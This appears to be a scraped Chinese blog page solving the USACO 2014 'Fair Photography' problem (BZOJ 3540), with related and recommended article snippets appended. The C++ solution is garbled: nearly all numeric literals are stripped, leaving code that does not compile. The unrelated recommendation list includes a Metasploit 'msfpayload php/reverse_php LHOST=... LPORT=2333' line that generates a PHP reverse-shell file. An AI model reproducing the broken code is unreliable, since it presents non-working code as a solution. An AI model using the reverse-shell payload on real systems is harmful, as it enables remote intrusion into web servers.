3540: [Usaco2014 Open]Fair Photography

Description

FJ's N cows (2 <= N <= 100,000) are standing at various positions along a long one-dimensional fence. The ith cow is standing at position x_i (an integer in the range 0...1,000,000,000) and is either a plain white cow or a spotted cow. No two cows occupy the same position, and there is at least one white cow. FJ wants to take a photo of a contiguous interval of cows for the county fair, but in fairness to his different cows, he wants to ensure there are equal numbers of white and spotted cows in the photo. FJ wants to determine the maximum size of such a fair photo, where the size of a photo is the difference between the maximum and minimum positions of the cows in the photo. To give himself an even better chance of taking a larger photo, FJ has with him a bucket of paint that he can use to paint spots on an arbitrary subset of his white cows of his choosing, effectively turning them into spotted cows. Please determine the largest size of a fair photo FJ can take, given that FJ has the option of painting some of his white cows (of course, he does not need to paint any of the white cows if he decides this is better).

可以先任意把0染成1.

区间长度定义为,[L,R]中最右和最左的数的差的绝对值.

求一个最长区间,满足区间中所有数0和1的个数相同.

Input

* Line 1: The integer N.

* Lines 2..1+N: Line i+1 contains x_i and either W (for a white cow) or S (for a spotted cow).

Output

* Line 1: The maximum size of a fair photo FJ can take, after possibly painting some of his white cows to make them spotted.

Sample Input

5
8 W
11 S
3 W
10 W
5 S
INPUT DETAILS: There are 5 cows. One of them is a white cow at position 8, and so on.

Sample Output

7
OUTPUT DETAILS: FJ takes a photo of the cows from positions 3 to positions 10.
There are 4 cows in this range -- 3 white and 1 spotted -- so he needs to paint one
of the white cows to make it spotted.
题解:
其实题目说白了就是找一个区间,使得区间长度为偶数且区间里白牛的数量不少于花牛。
我是用二维树状数组,以为表示i%2,另一维是白牛减花牛,然后就很简单了。。。
#include<stdio.h>
#include<iostream>
#include<algorithm>
using namespace std;
const int N=;
struct node
{
int a,b;
}p[N];
char s[];
int n,i,ans,x,y,t[][N<<];
bool cmp(const node&x,const node&y)
{
return x.a<y.a;
}
void update(int x,int y,int z)
{
while(y<=(n<<))
{
t[x][y]=min(t[x][y],z);
y+=y&-y;
}
}
int solve(int x,int y)
{
int ans=2e9;
while(y>)
{
ans=min(ans,t[x][y]);
y-=y&-y;
}
return ans;
}
int main()
{
scanf("%d",&n);
for(i=;i<=n;i++)
{
scanf("%d%s",&p[i].a,s);
p[i].b=(s[]=='S');
}
sort(p+,p+n+,cmp);
for(i=;i<=n<<;i++)
t[][i]=t[][i]=2e9;
for(i=;i<=n;i++)
{
if(p[i].b==) x++;else y++;
ans=max(ans,p[i].a-solve((i%)^,x-y+n));
update(i%,x-y+n,p[i].a);
}
cout<<ans;
return ;
}
 

bzoj 3540: [Usaco2014 Open]Fair Photography的更多相关文章

  1. BZOJ3540: [Usaco2014 Open]Fair Photography

    3540: [Usaco2014 Open]Fair Photography Time Limit: 1 Sec  Memory Limit: 128 MBSubmit: 72  Solved: 29 ...

  2. [BZOJ3535][Usaco2014 Open]Fair Photography

    [BZOJ3535][Usaco2014 Open]Fair Photography 试题描述 FJ's N cows (1 <= N <= 100,000) are standing a ...

  3. [Usaco2014 Open]Gold Fair Photography(hash)

    最近做了usaco2014 open的金组,果然美帝的题还是没有太简单啊QAQ,被每年的月赛骗了QAQ 不过话说官方题解真心棒(虽然英文的啃得好艰难,我英语渣你们别鄙视我= =),标程超级优美QAQ ...

  4. BZOJ 3479: [Usaco2014 Mar]Watering the Fields( MST )

    MST...一开始没注意-1结果就WA了... ---------------------------------------------------------------------------- ...

  5. BZOJ 3477: [Usaco2014 Mar]Sabotage( 二分答案 )

    先二分答案m, 然后对于原序列 A[i] = A[i] - m,  然后O(n)找最大连续子序列和, 那么此时序列由 L + mx + R组成. L + mx + R = sum - n * m, s ...

  6. BZOJ 3446: [Usaco2014 Feb]Cow Decathlon( 状压dp )

    水状压dp. dp(x, s) = max{ dp( x - 1, s - {h} ) } + 奖励(假如拿到的) (h∈s). 时间复杂度O(n * 2^n) ------------------- ...

  7. bzoj 3479: [Usaco2014 Mar]Watering the Fields

    3479: [Usaco2014 Mar]Watering the Fields Time Limit: 10 Sec  Memory Limit: 128 MBSubmit: 174  Solved ...

  8. P3105 [USACO14OPEN]公平的摄影Fair Photography

    题意翻译 在数轴上有 NNN 头牛,第 iii 头牛位于 xi(0≤xi≤109)x_i\:(0\le x_i\le 10^9)xi​(0≤xi​≤109) .没有两头牛位于同一位置. 有两种牛:白牛 ...

  9. BZOJ 3445: [Usaco2014 Feb] Roadblock

    Description 一个图, \(n\) 个点 \(m\) 条边,求将一条边距离翻倍后使 \(1-n\) 最短路径增加的最大增量. Sol Dijstra. 先跑一边最短路,然后枚举最短路,将路径 ...

随机推荐

  1. 《Applying Deep Learning to Answer Selection: A Study And an Open Task》文章理解小结

    本篇论文是2015年的IBM watson团队的. 论文地址: 这是一篇关于QA问题的一篇论文: 相关论文讲解1.https://www.jianshu.com/p/48024e9f7bb22.htt ...

  2. Centos修改镜像为国内的阿里云源或者163源等国内源

    阿里安装软件镜像源 阿里云Linux安装镜像源地址:http://mirrors.aliyun.com/ 第一步:备份你的原镜像文件,以免出错后可以恢复. mv /etc/yum.repos.d/Ce ...

  3. http状态响应码对照表

    1xx - 信息提示   这些状态代码表示临时的响应.客户端在收到常规响应之前,应准备接收一个或多个 1xx 响应.    ·0 - 本地响应成功.   · 100 - Continue 初始的请求已 ...

  4. quartz的简介

    1. 介绍  Quartz是OpenSymphony开源组织在Job scheduling领域又一个开源的任务调度框架,是完全由java开发的一个开源的任务日程管理系统,“任务进度管理器”就是一个在预 ...

  5. 常见网络命令之traceroute命令一起其他常用命令

    备注:任何命令+/?就可以显示命令帮助,比如:ipconfig /?. traceroute命令 traceroute是UNIX系统中的名字,用来跟踪一个分组从源点到终点的路径.在Windows系统中 ...

  6. msf web脚本反弹shell

    msf > msfpayload php/reverse_php LHOST=x.x.x.x LPORT=2333 R > re.php msf > use multi/handle ...

  7. Python阶段复习 - part 3 - Python函数

    利用函数打印9*9乘法表 def cheng(num): for i in range(1,num+1): for j in range(1,i+1): print('{0} * {1} = {2}' ...

  8. 【uva11613】生产销售规划

    这很像之前做的一道noip模拟题…… 所以当时那题也可以用费用流写(雾) 拆点,将每个月拆成两个点,一个向起点连边表示产量,另一个点连汇点表示销量. 然后每个点依次往后面的点2连边,表示保存. #in ...

  9. js-callee,call,apply概念

    JS - caller,callee,call,apply 概念[转载] 在提到上述的概念之前,首先想说说javascript中函数的隐含参数:arguments Arguments : 该对象代表正 ...

  10. ES Java 客户端

    标签(空格分隔): ES Java 客户端 节点客户端(node client): 节点客户端本身也是一个ES节点(一般不保存数据,不能成为主节点),它能以无数据节点身份加入到集群中.因为它是集群环境 ...